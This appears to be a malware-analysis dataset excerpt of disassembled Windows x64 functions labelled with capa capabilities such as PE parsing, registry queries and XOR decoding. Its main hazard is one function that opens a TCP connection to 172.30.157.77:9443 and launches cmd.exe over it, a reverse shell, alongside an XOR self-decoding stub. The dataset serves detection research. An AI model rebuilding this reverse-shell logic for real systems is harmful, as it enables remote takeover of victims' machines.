joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001310
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x470
mov rax, qword [0x14002b078]
xor rax, rsp
mov qword [rsp + 0x460], rax
lea rbx, [0x140023018]
mov edi, 4
xor esi, esi
cmp qword [rbx - 0x10], rsi
jne 0x140001443
xor edx, edx
mov qword [rsp + 0x38], rsi
mov r8d, 0x208
lea rcx, [rsp + 0x40]
call fcn.140002b40
xor edx, edx
lea rcx, [rsp + 0x250]
mov r8d, 0x20a
call fcn.140002b40
mov r8, qword [rbx - 0x18]
lea rdx, str.CLSID_sInprocServer32
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rsp + 0x38]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001443
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x250]
mov dword [rsp + 0x30], 0x208
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140001438
lea rcx, [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbx - 0x10], rax
test rax, rax
je 0x140001438
lea rdx, str.DshowMon
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx - 8], rax
test rax, rax
je 0x140001438
lea rcx, [rbx + 4]
xor edx, edx
mov r8d, 0x1ffc
call fcn.140002b40
mov dword [rbx], 0x7c
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rbx - 8], rsi
je 0x14000145a
mov rcx, qword [rbx - 0x18]
call fcn.140001000
mov edx, eax
mov rcx, rbx
call qword [rbx - 8]
add rbx, 0x2018
sub rdi, 1
jne 0x140001342
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140001f40
lea r11, [rsp + 0x470]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140002814
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000285e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000285e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000285e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000285e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000285e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002860
xor al, al
add rsp, 0x28
ret

Function at 0x140009e5c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140009c4c
Function at 0x14000ecec
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000ed73
mov rsi, rbx
cmp word [rax], bp
je 0x14000ed32
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000ed1c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000ed18
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000bb58
mov rdi, rax
test rax, rax
je 0x14000ed60
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140003dd0
mov rbp, rdi
xor ecx, ecx
call fcn.14000af28
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001f044
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001f08e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001f08e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001f08e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001f08e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001f08e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001f090
xor al, al
add rsp, 0x28
ret

Function at 0x140022fc0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140022e2b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140022e2b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140022e2b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140022e2b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140022e2b
cmp dword [rcx + 0x84], 0xe
jbe 0x140022e2b
cmp dword [rcx + 0xf8], 0
je 0x140022e2b
mov ecx, ebx
call fcn.140022edc
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140022cb8
nop
cmp dword [rbp + 0x20], 0
je 0x140022e79
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140022e84
int3
xor r8d, r8d
xor edx, edx
jmp 0x140022dbc
Function at 0x140033b2c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140033bb3
mov rsi, rbx
cmp word [rax], bp
je 0x140033b72
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140033b5c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140033b58
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14003114c
mov rdi, rax
test rax, rax
je 0x140033ba0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14003a450
mov rbp, rdi
xor ecx, ecx
call fcn.14002f51c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140037728
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14003773e
mov al, 1
jmp 0x14003779e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14003774f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14003779c
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400342d0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14003779c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14003779c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14003779c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14003779e
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140039d00
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140039d28
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140039d28
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov ecx, 0x202
lea rdx, [0x1400046c0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
mov ebx, 2
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov ecx, ebx
mov dword [rsp + 0x20], edi
lea edx, [rdi + 1]
lea r8d, [rdi + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
lea rcx, str.172.30.157.77
mov qword [0x140004858], rax
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
lea edx, [rdi + 0x10]
lea rcx, str.172.30.157.77
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, str.9443
mov word [0x140004860], bx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.172.30.157.77
mov word [0x140004862], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [0x140004858]
lea r8d, [rdi + 0x10]
mov qword [rsp + 0x30], rdi
lea rdx, [0x140004860]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov dword [0x140004864], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rax, qword [0x140004858]
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov qword [0x1400046a0], rax
movups xmmword [0x140004690], xmm0
xor edx, edx
mov r8d, 0x1ee
movups xmmword [0x140004640], xmm0
mov dword [0x140004640], 0x68
movups xmmword [0x140004670], xmm0
mov dword [0x14000467c], 0x101
movups xmmword [0x140004650], xmm0
mov qword [0x140004698], rax
movups xmmword [0x140004660], xmm0
mov qword [0x140004690], rax
movups xmmword [0x140004680], xmm0
movups xmm0, xmmword [str.cmd.exe]
movaps xmmword [rsp + 0x50], xmm0
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1400046a8]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x50]
lea rax, [0x140004640]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400011e0
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret

Function at 0x140001abc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b06
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b06
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b06
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b06
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b06
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b08
xor al, al
add rsp, 0x28
ret
Function at 0x140001410
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x14000f970], rbx
je 0x140001477
cmp rax, rbx
jne 0x14000146a
mov ebx, 1
mov esi, ebx
jmp 0x14000147c
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14000144f
mov ebx, 1
mov eax, dword [0x14000f978]
cmp eax, ebx
jne 0x140001494
mov edi, 0x1f
mov ecx, edi
call fcn.1400b8000
jmp 0x14000150a
mov eax, dword [0x14000f978]
test eax, eax
jne 0x1400014ff
mov dword [0x14000f978], ebx
lea r15, [0x1400089f0]
lea rdi, [0x1400089d8]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x1400014f1
test eax, eax
jne 0x1400014f5
cmp qword [rdi], r14
je 0x1400014e6
movabs r10, 0xd30527475e523070
mov rax, qword [rdi]
mov rcx, qword [0x140008950]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1400014be
test eax, eax
je 0x140001505
mov eax, 0xff
jmp 0x14000166a
mov dword [0x14000d2a4], ebx
mov edi, 0x1f
mov eax, dword [0x14000f978]
cmp eax, ebx
jne 0x140001531
lea rdx, [0x1400089d0]
lea rcx, [0x140008960]
call sub.msvcrt.dll__initterm
mov dword [0x14000f978], 2
test esi, esi
jne 0x14000153f
mov rax, r14
xchg qword [0x14000f970], rax
cmp qword [0x14000f980], r14
je 0x14000157c
lea rcx, [0x14000f980]
call fcn.1400018a0
test eax, eax
je 0x14000157c
movabs r10, 0x99012e4578d92870
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14000f980]
mov r9, qword [0x140008950]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x140001595
mov eax, 0xff
jmp 0x14000166a
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14000161b
test ax, ax
je 0x1400015b0
test edx, edx
jne 0x14000161b
sub ax, bx
cmp ax, di
ja 0x1400015c6
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x1400015b0
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140002014
mov dword [0x14000d2a0], eax
cmp dword [0x14000d2c0], r14d
jne 0x140001604
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000d2a4], r14d
jne 0x140001619
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000d2a0]
jmp 0x14000166a
cmp ax, 0x22
jne 0x14000162f
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000159e
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.140001934
add rsp, 0x28
jmp 0x140001410
Function at 0x14002971c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001cd14
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001cd14
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002986c
cmp rax, 0xffffffffffffffff
je 0x14002986c
xor edi, edi
test rbp, rbp
jle 0x140029817
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f628
mov rbx, rax
test rax, rax
jne 0x1400297a4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002980d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a648
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d9f0
cmp eax, 0xffffffff
je 0x1400297ed
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400297b4
mov edx, r15d
mov ecx, r14d
call fcn.14001a648
jmp 0x14002980d
cmp byte [rsi + 0x38], dil
je 0x140029804
cmp dword [rsi + 0x34], 5
jne 0x140029804
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002980d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b3dc
jmp 0x140029880
jns 0x140029880
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001cd14
cmp rax, 0xffffffffffffffff
jne 0x140029838
cmp byte [rsi + 0x30], dil
je 0x140029880
mov edi, dword [rsi + 0x2c]
jmp 0x140029880
mov ecx, r14d
call fcn.140018b00
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029880
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029880
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029879
mov eax, dword [rsi + 0x2c]
jmp 0x14002987e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001cd14
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002a970
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002a998
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002a998
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x142796d70
Capabilities:
Encode data using xor

Disassembly:
jmp 0x142796d7a
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x142796da3
pop rbp
sub rbp, 0x33
sub rbp, 0x2796d70
sub rsp, 0x20
jmp 0x142796dc2
mov rax, 0x2796d70
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x30f558d4
xor byte [rax], dl
inc rax
dec rcx
jne 0x142796de1
jmp 0x142796df8
pushfq
pop rbp
cmp eax, 0xd4e85d5f
invalid
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a870]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a880]
mov dword [rax], 1
mov rax, qword [0x14000a890]
mov dword [rax], 1
mov rax, qword [0x14000a820]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000a860]
mov dword [0x14000e00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000a940]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000a920]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a7d0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001f20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001f90
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e184]
mov rbx, rcx
test esi, esi
jle 0x1400020c0
mov rax, qword [0x14000e188]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001fdb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002065
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001fc0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x1400020e2
mov rax, qword [0x14000e188]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e188]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400020c7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000205e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002070
add dword [0x14000e184], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e188]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000205e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001fe8
mov rax, qword [0x14000e188]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002650
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e1e0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e1c0]
test rbx, rbx
je 0x1400026ac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400026a3
test rsi, rsi
je 0x1400026a3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002688
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400028c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400028d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400028e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400028f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000293d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002934
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000293f
add rax, 0x28
cmp rax, r9
jne 0x140002920
xor eax, eax
ret

Function at 0x140002940
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400029d0
mov rdx, qword [0x14000a820]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400029be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400029be
cmp word [rax + 0x18], 0x20b
jne 0x1400029be
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400029d0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400029a9
add rbx, 0x28
cmp rbx, rdi
je 0x1400029d0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400029a0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400029e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a820]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002a00
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002a08
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a00
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002a5d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002a54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002a00
add rax, 0x28
cmp rax, r9
jne 0x140002a40
xor eax, eax
ret

Function at 0x140002a60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a820]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002a7f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002a88
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002a7f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002aa0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000a820]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002ac0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002ac8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002ac0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002b10
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002b07
test rcx, rcx
je 0x140002ac0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002af8
xor eax, eax
ret